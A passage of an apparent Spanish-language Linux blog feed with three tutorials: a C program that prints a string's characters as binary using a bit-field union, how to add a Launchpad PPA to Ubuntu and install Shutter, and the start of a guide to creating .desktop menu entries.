term="programación"/><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu"/><title type='text'>Como convertir un string a binario con C</title><content type='html'>Esto es especificamente con C o C++,pero especificamente con C,en este caso hacemos uso del poderoso Union y de punteros:&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43&lt;/pre&gt;
&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #557799;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;

&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;typedef&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;struct&lt;/span&gt; _byte { &lt;span style=&quot;color: #888888;&quot;&gt;/* Estructuramos 8 bits para un Byte */&lt;/span&gt;
    &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;unsigned&lt;/span&gt; a&lt;span style=&quot;color: #333333;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;;
    &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;unsigned&lt;/span&gt; b&lt;span style=&quot;color: #333333;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;;
    &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;unsigned&lt;/span&gt; c&lt;span style=&quot;color: #333333;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;;
    &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;unsigned&lt;/span&gt; d&lt;span style=&quot;color: #333333;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;;
    &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;unsigned&lt;/span&gt; e&lt;span style=&quot;color: #333333;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;;
    &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;unsigned&lt;/span&gt; f&lt;span style=&quot;color: #333333;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;;
    &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;unsigned&lt;/span&gt; g&lt;span style=&quot;color: #333333;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;;
    &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;unsigned&lt;/span&gt; h&lt;span style=&quot;color: #333333;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;;
} byte;

&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;typedef&lt;/span&gt; &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;union&lt;/span&gt; _charbits { &lt;span style=&quot;color: #888888;&quot;&gt;/* Unimos un char(caracter) con un Byte */&lt;/span&gt;
    &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;char&lt;/span&gt; ch;
    byte bits;
} charbits;

&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;decode&lt;/span&gt;(byte b)&lt;span style=&quot;color: #888888;&quot;&gt;/* Esta funcion decodifica el char en 8 bits */&lt;/span&gt;
{
    printf(&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;%2u%2u%2u%2u%2u%2u%2u%2u  &quot;&lt;/span&gt;,b.h,b.g,b.f,b.e,b.d,b.c,b.b,b.a);
}

&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;readString&lt;/span&gt;(&lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;str)&lt;span style=&quot;color: #888888;&quot;&gt;/* Esta funcion simplemente lee la string como un array de punteros a char y los decodifica char a char con la funcion de arriba*/&lt;/span&gt;
{
    charbits word;
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;while&lt;/span&gt;(&lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;str) 
    {
        word.ch &lt;span style=&quot;color: #333333;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;str;
        decode(word.bits);
        &lt;span style=&quot;color: #333333;&quot;&gt;*&lt;/span&gt;str&lt;span style=&quot;color: #333333;&quot;&gt;++&lt;/span&gt;;
    }
    printf(&lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;\n&quot;&lt;/span&gt;);
}

&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: #0066bb; font-weight: bold;&quot;&gt;main&lt;/span&gt;(&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;int&lt;/span&gt; argv,&lt;span style=&quot;color: #333399; font-weight: bold;&quot;&gt;char&lt;/span&gt; &lt;span style=&quot;color: #333333;&quot;&gt;**&lt;/span&gt;argc) &lt;span style=&quot;color: #888888;&quot;&gt;/* Iniciamos el main */&lt;/span&gt;
{
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;if&lt;/span&gt; (argv &lt;span style=&quot;color: #333333;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;)
        readString(argc[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;1&lt;/span&gt;]);
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;else&lt;/span&gt;
        printf( &lt;span style=&quot;background-color: #fff0f0;&quot;&gt;&quot;Uso : %s &amp;lt;Palabra&amp;gt;&quot;&lt;/span&gt;,argc[&lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;]);
    &lt;span style=&quot;color: #008800; font-weight: bold;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #0000dd; font-weight: bold;&quot;&gt;0&lt;/span&gt;;
}
&lt;/pre&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
Para compilar metemos el codigo en un archivo por ejemplo:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;decode.c&lt;/b&gt;&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirWBZm4cWbFpIoAukyTjZ3ujp14nGfxHAN-V0y1fx_HGRTEqzmk6BUPA216RDV38GYyx9yAX8php3CYebX35KjEjhfMgmTlDp2NHamLmuJPEUs13FEvKVk1xWzW0-nxsB5JmEJiIRP0PxB/s1600/string+to+bits.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirWBZm4cWbFpIoAukyTjZ3ujp14nGfxHAN-V0y1fx_HGRTEqzmk6BUPA216RDV38GYyx9yAX8php3CYebX35KjEjhfMgmTlDp2NHamLmuJPEUs13FEvKVk1xWzW0-nxsB5JmEJiIRP0PxB/s1600/string+to+bits.png&quot; height=&quot;320&quot; width=&quot;297&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Y compilamos:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;gcc -o decode decode.c&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;./decode &quot;Tiempo de Tux&quot;&lt;/b&gt;&lt;/blockquote&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;b&gt;&amp;nbsp;0 1 0 1 0 1 0 0 &amp;nbsp; 0 1 1 0 1 0 0 1 &amp;nbsp; 0 1 1 0 0 1 0 1 &amp;nbsp; 0 1 1 0 1 1 0 1 &amp;nbsp; 0 1 1 1 0 0 0 0 &amp;nbsp; 0 1 1 0 1 1 1 1 &amp;nbsp; 0 0 1 0 0 0 0 0 &amp;nbsp; 0 1 1 0 0 1 0 0 &amp;nbsp; 0 1 1 0 0 1 0 1 &amp;nbsp; 0 0 1 0 0 0 0 0 &amp;nbsp; 0 1 0 1 0 1 0 0 &amp;nbsp; 0 1 1 1 0 1 0 1 &amp;nbsp; 0 1 1 1 1 0 0 0 &amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Eso es todo.</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/2997664089793843594/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2015/01/como-convertir-un-string-binario-con-c.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/2997664089793843594'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/2997664089793843594'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2015/01/como-convertir-un-string-binario-con-c.html' title='Como convertir un string a binario con C'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirWBZm4cWbFpIoAukyTjZ3ujp14nGfxHAN-V0y1fx_HGRTEqzmk6BUPA216RDV38GYyx9yAX8php3CYebX35KjEjhfMgmTlDp2NHamLmuJPEUs13FEvKVk1xWzW0-nxsB5JmEJiIRP0PxB/s72-c/string+to+bits.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-4221912645034832470</id><published>2015-01-16T13:16:00.000-06:00</published><updated>2015-01-16T13:21:14.922-06:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="como instalar ubuntu"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="ppa"/><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu"/><title type='text'>Como añadir ppa/repos a Ubuntu</title><content type='html'>En este tutorial aprenderemos a añadir repositorios a ubuntu los conocidos en ubuntu como ppa,esto para instalar programas que no se encuentran en los sources del sistema,nos llamados main,universe,etc.&lt;br /&gt;
&lt;br /&gt;
Para añadir un ppa vamos a launchpad,o al paquete que quieran instalar,en este caso vamos a probar con Shutter:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;a href=&quot;https://launchpad.net/~shutter&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;https://launchpad.net/~shutter&lt;/b&gt;&lt;/a&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&amp;nbsp;Vamos a donde dice:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Personal package archives &amp;nbsp;y PPA for:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjic6jFZBEJDwTbPsBf8hFPX7XVnNhLnCQ8_YKr0BIaStE0TtGtAAdblZp0xOe0yqquqLMwR_nvdyyWLJQS_QVXH7K6oCXwXhsTPTZqUiRt3yrinyK5EB4nkDRbEB7jvV3AOYdyGMKc29KG/s1600/ppa+ubuntu.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjic6jFZBEJDwTbPsBf8hFPX7XVnNhLnCQ8_YKr0BIaStE0TtGtAAdblZp0xOe0yqquqLMwR_nvdyyWLJQS_QVXH7K6oCXwXhsTPTZqUiRt3yrinyK5EB4nkDRbEB7jvV3AOYdyGMKc29KG/s1600/ppa+ubuntu.png&quot; height=&quot;64&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Ahora tenemos dos opciones la manera manual y la manera sencilla,veamos ambas:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Manera manual:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Vamos a donde dice&amp;nbsp;&lt;b&gt;Technical details about this PPA:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; Seleccionamos la versión de nuestro sistema,en mi caso 14.04:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP3AwPEolPBwzu7RyoRhqZ9-XFRMT3tKtwORDm-TTC61gz4DE1UEyTJqYYv4DnHuqXpt8nXAuamn0Uqwmmxa0vMgYGG9Z0Rt1nnS1Pxy37guLsXFtdnHdJDGq1-ADFRB4aSLZHMbynQWnb/s1600/ppa+ubuntu1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP3AwPEolPBwzu7RyoRhqZ9-XFRMT3tKtwORDm-TTC61gz4DE1UEyTJqYYv4DnHuqXpt8nXAuamn0Uqwmmxa0vMgYGG9Z0Rt1nnS1Pxy37guLsXFtdnHdJDGq1-ADFRB4aSLZHMbynQWnb/s1600/ppa+ubuntu1.png&quot; height=&quot;86&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; Copiamos lo que esta en el pre,en este caso:&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;b&gt;&lt;span style=&quot;color: purple;&quot;&gt;deb http://ppa.launchpad.net/shutter/ppa/ubuntu trusty main&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;color: purple;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: purple;&quot;&gt;deb-src http://ppa.launchpad.net/shutter/ppa/ubuntu trusty main&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; Y ahora lo añadimos al &lt;b&gt;sources.list&lt;/b&gt; de nuestro sistema:&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; Para ello abrimos una terminal la buscamos en el menu de programas o tecleamos &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;alt&lt;/kbd&gt;+&lt;kbd&gt;t&lt;/kbd&gt;:&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;Ahora escribimos: &lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo &lt;span style=&quot;color: red;&quot;&gt;nombre_de_nuestro_editor_de_texto&lt;/span&gt;&amp;nbsp;/etc/apt/sources.list&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Por ejemplo:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo nano /etc/apt/sources.list&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
Y añadimos las lineas al archivo,podemos añadir un comentario comenzando la linea con un hash:&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRih4nM8W3xuszRFml593vmjVgexHntDfsx5Y0WBi_KoGrcH1p0SLDLxa2JozfY9K1jSAE_VOjeiGi6uZ6pW_IhZ4-r_8EjX8Ncxicty2pTvhuB5FbbYme9g_brlLWzDW8ujLgUzqAquc2/s1600/ppa+ubuntu2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRih4nM8W3xuszRFml593vmjVgexHntDfsx5Y0WBi_KoGrcH1p0SLDLxa2JozfY9K1jSAE_VOjeiGi6uZ6pW_IhZ4-r_8EjX8Ncxicty2pTvhuB5FbbYme9g_brlLWzDW8ujLgUzqAquc2/s1600/ppa+ubuntu2.png&quot; height=&quot;209&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; Ahora solo guardamos,en este caso:&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;o&lt;/kbd&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;x&lt;/kbd&gt;&lt;br /&gt;
&lt;br /&gt;
Por ultimo actualizamos las fuentes,pero primero tenemos que añadir las llaves de confianza:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En la pagina vamos abajo de donde estaban los deb,hay algo que dice:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;Signing key:&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
Copiamos el segundo numero ya que esta dividido asi:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;numero1/&lt;span style=&quot;color: red;&quot;&gt;numero2&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
Copiamos el mas largo y escribimos:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;gpg --keyserver keyserver.ubuntu.com --recv-keys &lt;span style=&quot;color: red;&quot;&gt;numero2&lt;/span&gt;&amp;nbsp;&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
y&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&amp;nbsp;gpg --export --armor &lt;span style=&quot;color: red;&quot;&gt;numero2&lt;/span&gt; | sudo apt-key add - &amp;nbsp;&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Ahora si actualizamos:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo apt-get update&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Y el paquete ya esta listo para se instalado,solo lo buscamos como paquete,con el comando:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;apt-cache search &lt;span style=&quot;color: red;&quot;&gt;paquete&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
O vemos en la paguina ppa donde dice:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Overview of published packages&lt;/b&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
Filtrando los resultados para nuestra versión de ubuntu:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz1fPByB9C6iwOXU2kn0khjSFPQwERLQ3DmOzr3Ru2i_x8eTd7IBhFwRLxc5TK9dp13Mq4Rp88J5PjZ5mlZPQe5jEw9keh9sqCvP6uwbsF7JS5WgVtcDRlNOXjgVh6idbElDoC0RxQs53Z/s1600/ppa+ubuntu3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz1fPByB9C6iwOXU2kn0khjSFPQwERLQ3DmOzr3Ru2i_x8eTd7IBhFwRLxc5TK9dp13Mq4Rp88J5PjZ5mlZPQe5jEw9keh9sqCvP6uwbsF7JS5WgVtcDRlNOXjgVh6idbElDoC0RxQs53Z/s1600/ppa+ubuntu3.png&quot; height=&quot;160&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Eso es todo para instalar usamos(en este caso shutter):&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo apt-get install shutter&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Como ven no es método rápido,para lo que recomiendo usar este método es solo para ver si el paquete esta disponible para nuestra versión ya que si no es así podemos detener conflictos en los paquetes,o no se instalara simplemente.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Manera automatica o rapida:&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Para hacer el mismo procedimiento pero de manera rapida tenemos que añadir la ppa directamente con un comando linux especial para esto.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Primero vamos a la pagina del ppa y a donde dice:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;Adding this PPA to your system&lt;/b&gt;&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Esta un texto en negrita,en este caso como ejemplo usaremos shutter:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;ppa:shutter/ppa&lt;/b&gt;&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9XGiKi2H3ppvpDnAstvG9FMGWVS8XpbweGETgZLUGClox9Mru-cuwQoJznuku5rCE8DFiWVJkk4XDhGVeuFVG_piAra-3tiKUxX9vVe-ggdz-MRf77BzzOyZvcDD_ShQhdjhaRVm-3E9H/s1600/ppa+ubuntu4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9XGiKi2H3ppvpDnAstvG9FMGWVS8XpbweGETgZLUGClox9Mru-cuwQoJznuku5rCE8DFiWVJkk4XDhGVeuFVG_piAra-3tiKUxX9vVe-ggdz-MRf77BzzOyZvcDD_ShQhdjhaRVm-3E9H/s1600/ppa+ubuntu4.png&quot; height=&quot;71&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Ahora abrimos una terminal,la buscamos en menú de aplicaciones,y escribimos:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&amp;nbsp;sudo add-apt-repository &lt;span style=&quot;color: red;&quot;&gt;ppa&lt;/span&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
En este caso:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo add-apt-repository ppa:shutter/ppa&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
Presionamos &lt;kbd&gt;enter&lt;/kbd&gt; y actualizamos los repos:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo apt-get update&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;
Y listo solo necesitamos buscar el paquete e instalarlo,en este caso:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo apt-cache search Shutter&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo apt-get install shutter&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Eso es todo.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/4221912645034832470/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2015/01/como-anadir-pparepos-ubuntu.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/4221912645034832470'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/4221912645034832470'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2015/01/como-anadir-pparepos-ubuntu.html' title='Como añadir ppa/repos a Ubuntu'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjic6jFZBEJDwTbPsBf8hFPX7XVnNhLnCQ8_YKr0BIaStE0TtGtAAdblZp0xOe0yqquqLMwR_nvdyyWLJQS_QVXH7K6oCXwXhsTPTZqUiRt3yrinyK5EB4nkDRbEB7jvV3AOYdyGMKc29KG/s72-c/ppa+ubuntu.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-4951935120669173380</id><published>2015-01-13T13:38:00.000-06:00</published><updated>2015-01-13T13:38:01.776-06:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="como crear"/><category scheme="http://www.blogger.com/atom/ns#" term="desktop."/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="menu"/><title type='text'>Como añadir programas al menu de GNU/Linux</title><content type='html'>Esta entrada va para todos entornos gráficos que son usadas en sus distribuciones,Ubuntu,Gentoo,Arch,Debian,etc.&lt;br /&gt;
&lt;br /&gt;
Cuando instalamos un programa por el administrador de paquetes,ya sea yum,apt,emerge,pacman y nos instala un programa,este se añade al menu de inicio o menu de programas de nuestro entorno gráfico,(no es lo mismo a que aparezca en la terminal de manera autocompletado,al presionar &lt;kbd&gt;tab&lt;/kbd&gt;),lo que pasa con los programas(mas que nada los que tienen interfaz grafica),es que al instalar se añade un .desktop donde viene la configuración que usara el icono que aparecerá en el menu.&lt;br /&gt;
&lt;br /&gt;
En esta ocasión aprenderemos a crear o mejor dicho a añadir un programa al menu de usuario,esto es útil cuando descargamos un programa de Internet que no tiene este archivo y queremos acceder a el,también es útil por si programamos algo y queremos que se pueda acceder desde el menu, o por si queremos añadir un menu a aquellos programas que no tienen interfaz como se ve en distribuciones como &lt;b&gt;Kali&lt;/b&gt; que usan iconos en el menu para abrir programas que solo usan stdout(terminal mínima).&lt;br /&gt;
&lt;br /&gt;
Se pueden crear accesos en entornos como kde de manera sencilla pero ese no es propósito de este tutorial,el proposito es saber crear archivos .desktop:&lt;br /&gt;
&lt;br /&gt;
